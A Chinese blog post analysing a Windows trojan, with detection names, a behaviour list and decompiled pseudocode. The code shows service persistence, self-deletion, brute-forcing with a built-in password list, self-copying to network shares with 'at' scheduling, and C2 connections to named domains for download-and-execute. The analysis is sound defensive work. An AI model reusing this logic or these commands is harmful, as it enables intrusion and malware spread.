【病毒分析】44b95162f85b81e71e5f2e7abbc904a6339ce0aa

1|0文件信息

img

2|0脱壳

image-20220116170805377

3|0VT

I TrendMi cro -HouseCaI I  ICIamAV  kin. korm  TBOJ_NITOL . SMNI I  . Agent -5819819-01

3|1可能会有以下行为:

Win32/ServStart.D

加载驱动程序;

从自己的二进制映像中读取数据。

一个过程创建了一个隐藏的窗口;

删除二进制文件并执行它。

可执行文件使用UPX压缩;

使用Windows实用程序实现基本功能;

安装自身以在 Windows 启动时自动运行。

创建隐藏文件或系统文件。

创建自身的副本;

使用可疑的命令行工具或 Windows 实用程序;

加密在患者硬盘上找到的记录 - 因此患者无法再利用这些信息;

防止定期访问患者的工作站;

Trojan-DDos.Win32.Macri.atk

尝试连接到死 IP:端口(1 次唯一时间)

从自己的二进制映像中读取数据

进程创建了一个隐藏的窗口

删除二进制文件并执行它

非常规二进制语言:中文(简体)

二进制资源中使用的非常规语言:中文(简体)

二进制文件可能包含加密或压缩的数据。

可执行文件使用 UPX 进行压缩

使用 Windows 实用工具实现基本功能

从磁盘中删除其原始二进制文件

自行安装以便在 Windows 启动时自动运行

创建隐藏文件或系统文件

创建自身的副本

使用可疑的命令行工具或 Windows 实用程序

4|0火绒剑实际监控的行为:

img

10:12:48:657, cmd.exe,6368:6152,5000,BA_self_delete,C:\Users\lilwen\Desktop\44b95162f85b81e71e5f2e7abbc904a6339ce0aa,,0x00000000 [操作成功完成。 ],

5|0IDA载入

主函数

WinMain() { WSAStartup(0x202u, &WSAData); //初始化 if ( sub_405A52() ) { v7 = 0; v8 = 0; ServiceStartTable.lpServiceName = ServiceName; //15654656 获取服务号 ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A; StartServiceCtrlDispatcherA(&ServiceStartTable); } else { sub_405B6E(ServiceName, (int)a456876, a456468465); //15654656;456876;456468465 if ( dword_409638 ) // OpenSCManagerA , OpenServiceA , CloseServiceHandle 打开服务管理器 { // CopyFileA , RegSetValueExA , StartServiceA , RegOpenKeyA , UnlockServiceDatabase , ChangeServiceConfig2A , CreateServiceA , LockServiceDatabase sub_40355B(); // 病毒执行完成后会自删 ExitProcess(0); } } return 0; } ================================================================================================================================================ int sub_405A52() //获取注册表地址 SYSTEM\\CurrentControlSet\\Services\\15654656 { v0 = LoadLibraryA(aAdvapi32Dll_0); Destination = 0; RegCloseKey = GetProcAddress(v0, aRegclosekey); memset(v4, 0, sizeof(v4)); v5 = 0; strcpy(&Source, "SYSTEM\\CurrentControlSet\\Services\\"); v6 = 0; strcpy(&Destination, &Source); strcat(&Destination, ServiceName); //拼接注册表服务路径 if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, &Destination, 0, 0xF003Fu, &phkResult) ) //打开注册表服务路径 return 0; RegCloseKey(phkResult); return 1; }

打开注册表服务路径

.data.  •øø4ø5854  .data.  •øø4ø585A  .data.  •øuøsasc  call  test  d s : RegOpenKeyExA  eax, eax  short loc 4%868  .data.  •øø4ß585E  .data.  •øø4ø5861  .data.  •øø4ø5863  .data.  •øø4ø5865  .data.  •øa4a5866  push  call  push  pop  Imp  Cebp+phkResuIt)  .data:øa4ß5868  .data:øø4ß5868 loc 4%868:  es1  eax  short  . data :øø4ß5368 xor  eax,  eax  loc  4e586A

成功打开 eax=1 打开失败 eax=0

image-20220116170943063

找到路径后执行 找不到路径 打开失败之后创建路径

===================================================================================================================================================

找不到路径打开失败后 :

int __cdecl sub_405B6E(char *a1, int a2, LPCSTR lpString) //a1=15654656;a2=456876;lpString=456468465 开启服务a1 { if ( strncmp(Buffer, Filename, v15) ) { v25 = sub_406C30(26) + 97; //GetTickCount() v24 = sub_406C30(26) + 97; v23 = sub_406C30(26) + 97; v22 = sub_406C30(26) + 97; v21 = sub_406C30(26) + 97; v16 = sub_406C30(26); wsprintfA(Source, "%c%c%c%c%c%c.exe", v16 + 97, v21, v22, v23, v24, v25); //随机生成6个字母 作为文件名 strcat(Buffer, '\'); strcat(Buffer, Source); CopyFileA(Filename, Buffer, 0);//复制文件 memset(Filename, 0, sizeof(Filename)); strcpy(Filename, Buffer); dword_409638 = 1; } ms_exc.registration.TryLevel = 0; v40 = OpenSCManagerA(0, 0, 983103); if ( v17 ) { v39 = CreateServiceA(v17, a1, a2, 983551, 272, 2, 1, Filename, 0, 0, 0, 0, 0); //a1=15654656 服务号 v29 = LockServiceDatabase(v17); v31 = '456468465'; ChangeServiceConfig2A(v39, 1, &v31); v27[1] = 0; v27[0] = 86400; v27[2] = 0; v27[3] = 3; v27[4] = (int)v30; v30[1] = 7000; v30[0] = 1; v30[3] = 0; v30[2] = 1; v30[5] = 0; v30[4] = 1; ChangeServiceConfig2A(v39, 2, v27); UnlockServiceDatabase(v29); if ( !v39 && GetLastError() == 1073 ) { v39 = OpenServiceA(v40, a1, 983551); //a1=15654656服务号 if ( !v18 ) goto LABEL_10; StartServiceA(v18, 0, 0); } if ( StartServiceA(v39, 0, 0) ) { strcat("SYSTEM\\CurrentControlSet\\Services\\", a1); //拼接路径SYSTEM\\CurrentControlSet\\Services\\15654656 ​ RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\", &v43); //打开服务路径 strcpy(v28, "Description"); v19 = lstrlenA(lpString); //lpString=456468465 RegSetValueExA(v43, v28, 0, 1,lpString, v19); } } LABEL_10: ms_exc.registration.TryLevel = -1; if ( OpenServiceA(v40, a1, 983551); ) //v40 = OpenSCManagerA(0, 0, 983103); CloseServiceHandle(OpenServiceA(v40, a1, 983551);); if ( OpenSCManagerA(0, 0, 983103); ) CloseServiceHandle(OpenSCManagerA(0, 0, 983103);); if ( v43 ) RegCloseKey(v43); return sub_40355B(4219034); }

-----------------------------

此时 创建系统目录

友 起 程 庳 : 」 445g5162f85581e7 一 讠 0 程  紡 护 顶 目 : 椠 巨 录  操 作 目 朊 0凿C : \Windows\nswkog.exe

------------------------------

往下走

loc 405A25:  68  68  68  83  83  74  08  58  08  35  30  DA  15  15  14  al  ac  38  40  40  40  ea  ea  ea  ea  ea  40 ea ea  push  push  push  call  cmp  off set a456468465  ; ”456468465”  off set a456876  ; ”456876”  off set Semu'iceName  ; ”15654656”  sub  esp, ech  dword 409638,  short Ioc 405AIF  FF 15 38 la ea  call  push  call  sub 403558  u ExitCode  s: ExitProcess  WinMain@16 endp

int sub_40355B() //%COMSPEC% /c del filename > nul,将自身删除 { v0 = LoadLibraryA(aKernel32Dll_2); lstrcatA =GetProcAddress(v0, 'lstrcatA'); Filename = 0; memset(v13, 0, sizeof(v13)); v14 = 0; v15 = 0; Buffer = 0; memset(v5, 0, sizeof(v5)); v6 = 0; v7 = 0; v8 = 0; memset(v9, 0, sizeof(v9)); v10 = 0; v11 = 0; GetModuleFileNameA(0, &Filename, 0x104u); GetShortPathNameA(&Filename, &Filename, 0x104u); GetEnvironmentVariableA(Name, &Buffer, 0x104u); //NAME="COMSPEC" lstrcatA(&v8, "/c del "); lstrcatA(&v8, &Filename); lstrcatA(&v8, " > nul"); pExecInfo.lpVerb = v18; pExecInfo.lpFile = &Buffer; pExecInfo.cbSize = 60; pExecInfo.hwnd = 0; strcpy(v18, "Open"); pExecInfo.lpParameters = &v8; pExecInfo.lpDirectory = 0; pExecInfo.nShow = 0; pExecInfo.fMask = 64; if ( !ShellExecuteExA(&pExecInfo) ) return 0; SetPriorityClass(pExecInfo.hProcess, 0x40u); v1 = GetCurrentProcess(); SetPriorityClass(v1, 0x100u); v2 = GetCurrentThread(); SetThreadPriority(v2, 15); SHChangeNotify(4, 1u, &Filename, 0); return 1; } // 病毒执行完成后会自删

===============================================================================================================================================

img

void __noreturn sub_40561A() { v0 = LoadLibraryA(WS2_32.dll); closesocket = (int)GetProcAddress(v0, aClosesocket); v1 = LoadLibraryA(ADVAPI32.dll); SetServiceStatus = (BOOL)GetProcAddress(v1, aSetservicestat); v2 = LoadLibraryA(ADVAPI32.dll); RegisterServiceCtrlHandlerA = GetProcAddress(v2,"RegisterServiceCtrlHandlerA"); dword_409110 = (int)RegisterServiceCtrlHandlerA)(ServiceName, SetServiceStatus); dword_409118 = 32; dword_409120 = 7; dword_409124 = 0; dword_409130 = 2000; dword_40912C = 1; dword_40911C = 2; (SetServiceStatus)(dword_409110, &dword_409118); dword_40912C = 0; Sleep(0x1F4u); dword_40911C = 4; (SetServiceStatus)(dword_409110, &dword_409118); strcpy(LibFileName, "KERNEL32.dll"); strcpy(ProcName, "GetLastError"); v4 = LoadLibraryA(LibFileName); SetServiceStatus = GetProcAddress(v4, ProcName); strcpy(v11, "GetCurrentThreadId"); v5 = LoadLibraryA(LibFileName); GetProcAddress(v5, v11); strcpy(v12, "CreateMutexA"); v6 = LoadLibraryA(LibFileName); v7 = GetProcAddress(v6, v12); if ( ((int)v7)(0, 0, ServiceName) && ((int)SetServiceStatus)() == 183 ) exit(0); if ( dword_4016D8 == 1 ) { EnumResourceNamesA(); wsprintfA(pFileName, "hra%u.dll", 33); sub_4053A6(pFileName); //获取文件名获取服务"SYSTEM\\CurrentControlSet\\Services\\" sub_4034E5();//加载"hra33.dll" if ( dword_4016D8 == 1 ) { CreateThread(0, 0, sub_402DD5, 0, 0, 0); Sleep(0x1F4u); } } WSAStartup(0x202u, &WSAData); CreateThread(0, 0, sub_4051E0, 0, 0, 0); WSAStartup(0x202u, &WSAData); CreateThread(0, 0, sub_405241, 0, 0, 0); while ( 1 ) { dword_409628 = sub_4030FD(sub_40387C, 0); WaitForSingleObject(dword_409628, 0xFFFFFFFF); CloseHandle(dword_409628); ((void)closesocket)(fd); dword_401C84 = 1; Sleep(0x12Cu); } }

此处有三个线程:

线程①

sub_402DD5() { //登录账号 用户名 v12[0] = Administrator; v12[1] = Test; v12[2] = Admin; v12[3] = Guest; v12[4] = Alex; v12[5] = Home; v12[6] = Love; v12[7] = Xp; v12[8] = User; v12[9] = Game; v12[10] = 123; v12[11] = nn; v12[12] = Root; v12[13] = (int)sub_401848; v12[14] =Movie; v12[15] =Time; v12[16] =Yeah; v12[17] =Money; v12[18] =Xpuser; v12[19] =Hack; v12[20] =Enter; v12[21] = 0; //登录密码 v11[0] = (int)&dword_409644; v11[1] = Password; v11[2] = 111; v11[3] = 123456; v11[4] = Qwerty; v11[5] = Test; v11[6] = Abc123; v11[7] = Memory; v11[8] = Home; v11[9] = 12345678; v11[10] =Love; v11[11] = bbbbbb; v11[12] = Xp; v11[13] = 88888; v11[14] = nn; v11[15] = Root; v11[16] = Caonima; v11[17] = 5201314; v11[18] = 1314520; v11[19] = Asdfgh; v11[20] = Alex; v11[21] = Angel; v11[22] = Null; v11[23] = 123; v11[24] = Asdf; v11[25] = Baby; v11[26] = Woaini; v11[27] = Movie; v11[28] = 0; result = WSAStartup(); // 初始化套接字 if ( result ) { name = 0; memset(v7, 0, sizeof(v7)); v8 = 0; v9 = 0; if ( !gethostname(&name, 128) )//获取主机名 { v2 = gethostbyname(&name);//获取主机信息 v14 = v2; if ( v2 ) { v3 = 0; v15 = 0; while (v2->h_addr_list + v3) { memset(v13, 0, sizeof(v13));//清空缓冲区 memcpy(&v13[4], ((char *)v2->h_addr_list + v3), v2->h_length); Buffer[0] = 0; dword_40961C = 1; memset(&Buffer[1], 0, 0x7Cu); &Buffer[125] = 0; Buffer[127] = 0; do { dword_409624 = 0; memset(Buffer, 0, sizeof(Buffer)); sprintf(Buffer,"%d.%d.%d.%d",v13[4],v13[5],v13[6],dword_40961C); if ( aAdministrator ) { do { if ( &dword_409644 ) { do { Sleep(0xC8u); if ( dword_409624 == 1 ) break; sub_402AD0((int)Buffer, *username, *password); //复制病毒模块 ++password; } while ( *password ); } ++username; } while ( *username); } ++dword_40961C; } while ( dword_40961C < 254 ); v15 += 4; v3 = v15; } } } WSACleanup();//结束 result = 1; } return result; }
sub_402AD0(int a1, int a2, LPCSTR lpString1) { if ( !lstrcmpA(lpString1, String2) ) sprintf(Buffer, "\"%s\"", (const char *)&dword_40963C); CmdLine[0] = 0; memset(&CmdLine[1], 0, 0x400u); &CmdLine[1025] = 0; CmdLine[1027] = 0; v13 = 0; memset(v14, 0, sizeof(v14)); v15 = 0; v16 = 0; sprintf(CmdLine, "\\\\%s\\ipc$",a1); v19[5] = (int)CmdLine; v19[0] = 2; v19[1] = 0; v19[2] = 0; v19[3] = 1; v19[4] = (int)&dword_409640; v19[7] = 0; v19[6] = 0; WNetAddConnection2A(v19, lpString1,a2, 0); //WNetAddConnection函数使调用应用程序能够将本地设备连接到网络资源。 if ( !WNetAddConnection2A ) //创建网络资源连接 return 1; GetModuleFileNameA(); //获取本模块名 Sleep(0xC8u); memset(CmdLine, 0, sizeof(CmdLine)); sprintf(CmdLine, "\\\\%s\\admin$\\g1fd.exe",a1); lstrcpyA(&v13, aAdmin); v6 = GetModuleFileNameA(); if ( CopyFileA(v6, CmdLine, 0) ) //将病毒文件复制到 本模块的文件路径 goto LABEL_9; memset(CmdLine, 0, sizeof(CmdLine)); sprintf(CmdLine, "\\\\%s\\C$\\NewArean.exe", a1); lstrcpyA(&v13, aCG1fdExe); v7 =GetModuleFileNameA(); if ( CopyFileA(v7, CmdLine, 0) ) goto LABEL_9; memset(CmdLine, 0, sizeof(CmdLine)); sprintf(CmdLine, "\\\\%s\\D$\\g1fd.exe",a1); lstrcpyA(&v13, aDG1fdExe); v8 =GetModuleFileNameA2(); if ( CopyFileA(v8, CmdLine, 0) || (memset(CmdLine, 0, sizeof(CmdLine)), sprintf(CmdLine, "\\\\%s\\E$\\g1fd.exe", a1), lstrcpyA(&v13, aEG1fdExe), v9 =GetModuleFileNameA(), CopyFileA(v9, CmdLine, 0)) ) { LABEL_9: GetLocalTime(&SystemTime); memset(CmdLine, 0, sizeof(CmdLine)); sprintf(CmdLine, "at \\\\%s %d:%d %s", a1, SystemTime.wHour, SystemTime.wMinute + 2, &v13); //在两分钟后启动恶意程序 WinExec(CmdLine, 0); dword_409624 = 1; Sleep(0x7D0u); } else { memset(CmdLine, 0, sizeof(CmdLine)); sprintf(CmdLine, "\\\\%s\\F$\\g1fd.exe", (const char *)a1); //如果没有cde盘就在f盘创建 lstrcpyA(&v13, aFG1fdExe); v10 = GetModuleFileNameA(); CopyFileA(v10, CmdLine, 0); } return 0; } 线程②: sub_4051E0(): { struct WSAData WSAData; char String[256]; WSAStartup(0x202u, &WSAData); do { Sleep(0x64u); sub_4050DB(String);//获取本地时间 } while ( atoi(String) <= 20130221 ); Sleep(0x64u); return CreateThread(0, 0, sub_405128, 0, 0, 0);//回调到000034DA StartAddress(4040DA) 连接"aa.re67das.com" } 线程③: sub_405241() { struct WSAData WSAData; // [esp+4h] [ebp-290h] BYREF char String[256]; // [esp+194h] [ebp-100h] BYREF WSAStartup(0x202u, &WSAData); do { Sleep(0x64u); sub_4050DB(String);//获取本地时间 } while ( atoi(String) <= 20130221 ); Sleep(0x64u); return CreateThread(0, 0, sub_405184, 0, 0, 0);//回调到00003D08 sub_404908(404908) 连接www.gassxxx.com }
StartAddress() { Sleep(0x2BF20u); strcpy(ProcName, "WriteFile"); v0 = LoadLibraryA(aKernel32Dll_6); GetProcAddress(v0, ProcName); v1 = LoadLibraryA(aKernel32Dll_7); GetTempPathA = GetProcAddress(v1, aGettemppatha_0); v2 = LoadLibraryA(aWs232Dll_0); closesocket = GetProcAddress(v2, aClosesocket); v3 = LoadLibraryA(aKernel32Dll_8); lstrcatA =GetProcAddress(v3, aLstrcata); result = sub_404044();//连接"aa.re67das.com" s = result; if ( result != -1 ) { sub_403492(result, 75); memset(Src, 0, sizeof(Src)); sub_4060F0(Src); if ( sub_4034E5() == 1 ) Src[40] += 2; if ( dword_4016DC == 1 ) Src[41] += 3; if ( dword_4016E0 == 1 ) Src[42] += 4; *(_DWORD *)buf = 176; *(_DWORD *)&buf[4] = 119; memcpy(&buf[8], Src, 0xB0u); if ( send(s, buf, 184, 0) != -1 ) { strcpy(LibFileName, "urlmon.dll"); strcpy(v45, "URLDownloadToFileA"); while ( 1 ) { memset(buf, 0, sizeof(buf)); if ( !sub_403758(s, (int)buf, 8) || !sub_403758(s, (int)&buf[8], *(int *)buf) ) break; if ( *(_DWORD *)&buf[4] > 6u ) { switch ( *(_DWORD *)&buf[4] ) { case 0x10: CmdLine = 0; memset(v27, 0, sizeof(v27)); v28 = 0; v29 = 0; v34 = 0; memset(v35, 0, sizeof(v35)); v36 = 0; v37 = 0; GetTempPathA(260, &CmdLine); v13 = GetTickCount(); wsprintfA(&v34, "%d", v13); lstrcatA(&CmdLine, &v34); v14 = LoadLibraryA(LibFileName); v15 = GetProcAddress(v14, v45); ((void (__stdcall *)(_DWORD, char *, CHAR *, int, _DWORD))v15)(0, &buf[8], &CmdLine, 10, 0); if ( *(_DWORD *)&buf[4] == 17 ) v16 = 5; else v16 = 0; WinExec(&CmdLine, v16); break; case 0x12: v8 = OpenMutexA(0x1F0001u, 0, ServiceName); v9 = v8; if ( v8 ) { ReleaseMutex(v8); CloseHandle(v9); } Buffer[0] = 0; memset(&Buffer[1], 0, 0x100u); *(_WORD *)&Buffer[257] = 0; Buffer[259] = 0; v30 = 0; memset(v31, 0, sizeof(v31)); v32 = 0; v33 = 0; GetTempPathA(260, Buffer); Size = sub_406C30(0x1Au) + 97; v21 = sub_406C30(0x1Au) + 97; v20 = sub_406C30(0x1Au) + 97; v19 = sub_406C30(0x1Au) + 97; v10 = sub_406C30(0x1Au); wsprintfA(&v30, "%c%c%c%c%ccn.exe", v10 + 97, v19, v20, v21, Size); lstrcatA(Buffer, &v30); v11 = LoadLibraryA(LibFileName); v12 = GetProcAddress(v11, v45); if ( !((int (__stdcall *)(_DWORD, char *, char *, int, _DWORD))v12)(0, &buf[8], Buffer, 10, 0) ) { sub_40351A(ServiceName); memset(pszSubKey, 0, sizeof(pszSubKey)); strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\"); sprintf(pszSubKey, "%s%s", v49, ServiceName); SHDeleteKeyA(HKEY_LOCAL_MACHINE, pszSubKey); Sizeb = s; ((void (*)(void))closesocket)(); sub_40355B(Sizeb); WinExec(Buffer, 0); ExitProcess(0); } break; case 0x14: strcpy(File, "iexplore.exe"); strcpy(Operation, "open"); v7 = GetDesktopWindow(); ShellExecuteA(v7, Operation, File, &buf[8], 0, 1); break; } } else { switch ( *(_DWORD *)&buf[4] ) { case 6: v17 = OpenMutexA(0x1F0001u, 0, ServiceName); v18 = v17; if ( v17 ) { ReleaseMutex(v17); CloseHandle(v18); } sub_40351A(ServiceName); memset(Buffer, 0, sizeof(Buffer)); strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\"); sprintf(Buffer, "%s%s", v49, ServiceName); SHDeleteKeyA(HKEY_LOCAL_MACHINE, Buffer); Sizea = s; ((void (*)(void))closesocket)(); sub_40355B(Sizea); ExitProcess(0); case 2: lstrcpynA(Parameter, &buf[24], 260); dword_409374 = *(_DWORD *)&buf[8]; dword_40937C = *(_DWORD *)&buf[16]; dword_409378 = *(_DWORD *)&buf[12]; dword_409380 = *(_DWORD *)&buf[20]; sub_403135(Parameter); break; case 3: dword_409240 = *(_DWORD *)&buf[8]; dword_409248 = *(_DWORD *)&buf[16]; dword_409244 = *(_DWORD *)&buf[12]; dword_409254 = *(_DWORD *)&buf[20]; dword_40924C = *(_DWORD *)&buf[24]; dword_409250 = *(_DWORD *)&buf[28]; lstrcpynA(byte_409140, &buf[32], 128); v6 = lstrlenA(byte_409140); lstrcpynA(byte_4091C0, &buf[v6 + 33], 128); sub_403280(byte_409140); break; case 4: lstrcpynA(String, &buf[24], 128); v5 = lstrlenA(String); lstrcpynA(String1, &buf[v5 + 25], 512); dword_409608 = *(_DWORD *)&buf[8]; dword_409610 = *(_DWORD *)&buf[16]; dword_40960C = *(_DWORD *)&buf[12]; dword_409614 = *(_DWORD *)&buf[20]; sub_403311(String); break; case 5: dword_401C84 = 1; if ( dword_40962C ) dword_40962C(); break; } } } closesocket(s); } result = closesocket(s); } return result; } 线程②与线程③,只有连接的网址不一样

Sub_40336C()

加密字符串-->解密sub_4029CE-->复制网址-->连接

mov  push  ebp+Destination) ,  offset Str  rep stosd  stosw  stosb  call  push  push  call  sub 4ß29CE  eax  Source  eax, Cebp+Destination)  eax  strcpy  Destination


__EOF__

本文作者Nicky_啦啦啦是阿落啊
本文链接https://www.cnblogs.com/Nickyl07/p/15810669.html
关于博主:菜鸟白手起家
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Nicky_啦啦啦是阿落啊  阅读(186)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示